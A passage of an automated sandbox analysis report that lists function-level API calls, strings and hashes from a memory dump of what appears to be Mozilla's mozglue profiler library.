Part of subcall function 6CA578C0: free.MOZGLUE(?,6CAD008B), ref: 6CA57BCF

free.MOZGLUE(?,6CAD008B), ref: 6CA57BF2

Part of subcall function 6CA75E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA75EDB
Part of subcall function 6CA75E90: memset.VCRUNTIME140(6CAB7765,000000E5,55CCCCCC), ref: 6CA75F27
Part of subcall function 6CA75E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA75FB2

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: f445475665a2260355e1b720cf5d83ceb80559eebfa2b326f63cf82881ee54ca
Instruction ID: 31972cf6472ac0d4b2ceced099520fc335af640b207b362e353b750773007971
Opcode Fuzzy Hash: f445475665a2260355e1b720cf5d83ceb80559eebfa2b326f63cf82881ee54ca
Instruction Fuzzy Hash: FCC1A072E111288BEB248B28CD90B9DB772AF41314F95C2A8D51AF7BC1C7319ED98F51

Function 6CA99420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CA8AB89: EnterCriticalSection.KERNEL32(6CADE370,?,?,?,6CA534DE,6CADF6CC,?,?,?,?,?,?,?,6CA53284), ref: 6CA8AB94
Part of subcall function 6CA8AB89: LeaveCriticalSection.KERNEL32(6CADE370,?,6CA534DE,6CADF6CC,?,?,?,?,?,?,?,6CA53284,?,?,6CA756F6), ref: 6CA8ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA64A68), ref: 6CA9945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA99470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA99482
__Init_thread_footer.LIBCMT ref: 6CA9949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA9947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA9946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA99459

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: ca7caba0c38b15e7d7d14ef4afe38eeeb8ffb9915d9ed70af28ea397e477b8f1
Instruction ID: 46c4d049c6f35fd9ccf485399be89ebd5f5b621e34777d23f8c0ad94a5d4c7ba
Opcode Fuzzy Hash: ca7caba0c38b15e7d7d14ef4afe38eeeb8ffb9915d9ed70af28ea397e477b8f1
Instruction Fuzzy Hash: 42012D74A002029FD704976CDD0555A33F5B74632DF05C53BD90986B51D631F8E68967

Function 6CAA0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAA0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAA0F88
GetCurrentThreadId.KERNEL32 ref: 6CAA0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CAA1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CAA10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CAA114B

Part of subcall function 6CA98AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CAB1563), ref: 6CA98BD5

free.MOZGLUE(?), ref: 6CAA1174
free.MOZGLUE(?), ref: 6CAA1186

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 73d76f4090595c03c27ea5494b85b3c12819cb044404fa2c23d2946b3836bbd0
Instruction ID: 638919053b97d4e753eb8586e26438510d0e8e72d880f1239bfbbc3a59ab8d52
Opcode Fuzzy Hash: 73d76f4090595c03c27ea5494b85b3c12819cb044404fa2c23d2946b3836bbd0
Instruction Fuzzy Hash: BA61E175A043419FDB10CF65C980BAAB7F5BFC9308F04891DE99A57711EB31E48ACB82

Function 6CA5B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CA5B61E,?,?,?,?,?,00000000), ref: 6CA5B6AC

Part of subcall function 6CA6CA10: malloc.MOZGLUE(?), ref: 6CA6CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CA5B61E,?,?,?,?,?,00000000), ref: 6CA5B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CA5B61E,?,?,?,?,?,00000000), ref: 6CA5B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CA5B61E,?,?,?,?,?,00000000), ref: 6CA5B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CA5B61E,?,?,?,?,?,00000000), ref: 6CA5B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CA5B61E), ref: 6CA5B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CA5B61E,?,?,?,?,?,00000000), ref: 6CA5B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CA5B61E,?,?,?,?,?,00000000), ref: 6CA5B79A

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: e67d187b0c6609793e2ed2a4ac78acdfdd27eaefafbf56d003f76c1f63ab165c
Instruction ID: e1eb561501742a199690022db1716be4ecb3e760dab66a5c1f6d4c514bf54e9b
Opcode Fuzzy Hash: e67d187b0c6609793e2ed2a4ac78acdfdd27eaefafbf56d003f76c1f63ab165c
Instruction Fuzzy Hash: 9241E4B2D011198FCB00DF68EC805AEB7B5BB54324F294729E825E7780E731A9548BE1

Function 6CA5EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CAD5104), ref: 6CA5EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA5EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA5EFEC
free.MOZGLUE(?), ref: 6CA5F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA5F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6CA5F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA5F065
moz_xmalloc.MOZGLUE ref: 6CA5F072

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 45fbb6b1ed2f1d2bd6ec9a72759254d87fac4ed48e9b13358a93affa029024d0
Instruction ID: 167293792309bd2428ee64e595a6d74b9d3e3949da06e0cfc7ca902bff9d5b65
Opcode Fuzzy Hash: 45fbb6b1ed2f1d2bd6ec9a72759254d87fac4ed48e9b13358a93affa029024d0
Instruction Fuzzy Hash: F641E9B1A002059FCB08CF68DC809AE7769FF94318B28422CE825D7794FB31E959C7E1

Function 6CACB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CACB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CACB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CACB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CACB5F4
__Init_thread_footer.LIBCMT ref: 6CACB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CACB61F
std::_Facet_Register.LIBCPMT ref: 6CACB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CACB655

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: fa1a95ed0819a857aab7dd8b61f34fc0d95a5ac25bfe3c59b2cd6aec23cc902e
Instruction ID: 9e01ca8c171c04e18eba0d84f46562defbdc46dcd99c818fd299845180c80fda
Opcode Fuzzy Hash: fa1a95ed0819a857aab7dd8b61f34fc0d95a5ac25bfe3c59b2cd6aec23cc902e
Instruction Fuzzy Hash: BD31A471B00306CBCF04DFA9D8589AEB7B5FB8A324B154619D94297780DB31B847CB92

Function 6CA69830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6CAB7ABE), ref: 6CA6985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6CAB7ABE), ref: 6CA698A8
moz_xmalloc.MOZGLUE(00000020), ref: 6CA69909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6CA69918
free.MOZGLUE(?), ref: 6CA69975

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: f324b2cda8569dac0756be83ff7721a10734d0b03a54ac763a97b2b5078f9edf
Instruction ID: a4ecec8bba3770a27eb380be439ebed7e870c2cdd90f4733948136445b54b8b5
Opcode Fuzzy Hash: f324b2cda8569dac0756be83ff7721a10734d0b03a54ac763a97b2b5078f9edf
Instruction Fuzzy Hash: EB7178756007058FC725CF7AC580956B7F1FF4A3287244AA9D85A8BFA0D731B886CB91

Function 6CA6B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CAACC83,?,?,?,?,?,?,?,?,?,6CAABCAE,?,?,6CA9DC2C), ref: 6CA6B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CAACC83,?,?,?,?,?,?,?,?,?,6CAABCAE,?,?,6CA9DC2C), ref: 6CA6B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CAACC83,?,?,?,?,?,?,?,?,?,6CAABCAE), ref: 6CA6B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CAACC83,?,?,?,?,?,?,?,?,?,6CAABCAE,?,?,6CA9DC2C), ref: 6CA6B896

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 09421d90ee5ebcbfe5552b797c55f2a35fa4ed2bfe4b39bec2399f25317291d4
Instruction ID: 5575602c919de63c51c2358c1527c35b54c6a9ec19652ae1760f2360e53e4b52
Opcode Fuzzy Hash: 09421d90ee5ebcbfe5552b797c55f2a35fa4ed2bfe4b39bec2399f25317291d4
Instruction Fuzzy Hash: CE51BF357006008FCB25CF5AD498A2AB7F1FF89318B69865DE99A87B51C731EC42DB80

Function 6CAA1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAA1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CAA1BE3,?,?,6CAA1D96,00000000), ref: 6CAA1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CAA1BE3,?,?,6CAA1D96,00000000), ref: 6CAA1D4C
GetCurrentThreadId.KERNEL32 ref: 6CAA1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAA1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAA1DDA

Part of subcall function 6CAA1EF0: GetCurrentThreadId.KERNEL32 ref: 6CAA1F03
Part of subcall function 6CAA1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CAA1DF2,00000000,00000000), ref: 6CAA1F0C
Part of subcall function 6CAA1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CAA1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CAA1DF4

Part of subcall function 6CA6CA10: malloc.MOZGLUE(?), ref: 6CA6CA26

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: cb585016d1cb80f1c89bbdd27df04e5f9eb32cf55f157991b0281d2ac714faae
Instruction ID: a7ee10e7e592bff06008d1fe2369e6459b055cbf2a7b3cd6b3dc2ad3c0f6fe83
Opcode Fuzzy Hash: cb585016d1cb80f1c89bbdd27df04e5f9eb32cf55f157991b0281d2ac714faae
Instruction Fuzzy Hash: 4D418A75200701AFCB14CF68C488A66BBF5FB49314F10852DEA9A87B41DB31F855CB91

Function 6CA638A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CADE220,?,?,?,?,6CA63899,?), ref: 6CA638B2
ReleaseSRWLockExclusive.KERNEL32(6CADE220,?,?,?,6CA63899,?), ref: 6CA638C3
free.MOZGLUE(00000000,?,?,?,6CA63899,?), ref: 6CA638F1
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA63920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6CA63899,?), ref: 6CA6392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6CA63899,?), ref: 6CA63943
RtlFreeHeap.NTDLL(?,00000000,0000002C), ref: 6CA6396E

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 46b1c26685027cd656a19ecdab91378d82fa7b0c3a4c37a168ea31db873c100b
Instruction ID: 394e79be8710d64009bd33f6d655e3348ff39b98c3342b0e0251649961a8b62b
Opcode Fuzzy Hash: 46b1c26685027cd656a19ecdab91378d82fa7b0c3a4c37a168ea31db873c100b
Instruction Fuzzy Hash: 5021BF726017109FD7209F56C884B8AB7A9EF45728F298429D99AA7F50C730E886CB91

Function 6CA984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA9850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA9851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA9855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA9856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA985AC

Part of subcall function 6CA97670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA9767F
Part of subcall function 6CA97670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA97693
Part of subcall function 6CA97670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CA985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA985B2

Part of subcall function 6CA75E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA75EDB
Part of subcall function 6CA75E90: memset.VCRUNTIME140(6CAB7765,000000E5,55CCCCCC), ref: 6CA75F27
Part of subcall function 6CA75E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA75FB2

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: df6bff321ddfd2e5f14a34371ddcbdc7640193fe26383e1317e13f2ad1d51793
Instruction ID: e1a42f3c38d4899f55b8963e46c05ac799fded1347cdade796f28c94684d36ad
Opcode Fuzzy Hash: df6bff321ddfd2e5f14a34371ddcbdc7640193fe26383e1317e13f2ad1d51793
Instruction Fuzzy Hash: 84214C742007029FDB18DB68C889A5AB7F5AF8430DF28492DE55BC7B41DB31FA89CB51

Function 6CA61640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CA61699
VerSetConditionMask.NTDLL ref: 6CA616CB
VerSetConditionMask.NTDLL ref: 6CA616D7
VerSetConditionMask.NTDLL ref: 6CA616DE
VerSetConditionMask.NTDLL ref: 6CA616E5
VerSetConditionMask.NTDLL ref: 6CA616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CA616F9

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 2d38d1e4612f6a3a96a66c4631c4590f0c437329d1c1fc67911fbb09b918f6ab
Instruction ID: 14fbe7b78592c517fead772eb5dde44bbf2b36d0f3ab7932138467c6b6391ee9
Opcode Fuzzy Hash: 2d38d1e4612f6a3a96a66c4631c4590f0c437329d1c1fc67911fbb09b918f6ab
Instruction Fuzzy Hash: 5921D5B07403086BEB156B69DC45FFBB77CEF86704F048528F6459B5C0C674AD94C6A1

Function 6CA9F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA8CBE8: GetCurrentProcess.KERNEL32(?,6CA531A7), ref: 6CA8CBF1
Part of subcall function 6CA8CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA531A7), ref: 6CA8CBFA

Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA64A68), ref: 6CA9945E
Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA99470
Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA99482
Part of subcall function 6CA99420: __Init_thread_footer.LIBCMT ref: 6CA9949F

GetCurrentThreadId.KERNEL32 ref: 6CA9F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CA9F598), ref: 6CA9F621

Part of subcall function 6CA994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA994EE
Part of subcall function 6CA994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA99508

GetCurrentThreadId.KERNEL32 ref: 6CA9F637
AcquireSRWLockExclusive.KERNEL32(6CADF4B8,?,?,00000000,?,6CA9F598), ref: 6CA9F645
ReleaseSRWLockExclusive.KERNEL32(6CADF4B8,?,?,00000000,?,6CA9F598), ref: 6CA9F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CA9F62A

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 53377b81f0a212ed177988836a696c1c5e52c3f8b68f6dc2d258223aff3fa97d
Instruction ID: ad698675581be68cb772fb4a2b31a6c5828182159644c105192aba1970202971
Opcode Fuzzy Hash: 53377b81f0a212ed177988836a696c1c5e52c3f8b68f6dc2d258223aff3fa97d
Instruction Fuzzy Hash: BF11E375211306AFCA08AF68DD499E677B9FF86759B144019FA0583F01CF71F866CBA0

Function 6CA61FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA8AB89: EnterCriticalSection.KERNEL32(6CADE370,?,?,?,6CA534DE,6CADF6CC,?,?,?,?,?,?,?,6CA53284), ref: 6CA8AB94
Part of subcall function 6CA8AB89: LeaveCriticalSection.KERNEL32(6CADE370,?,6CA534DE,6CADF6CC,?,?,?,?,?,?,?,6CA53284,?,?,6CA756F6), ref: 6CA8ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6CA61FDE
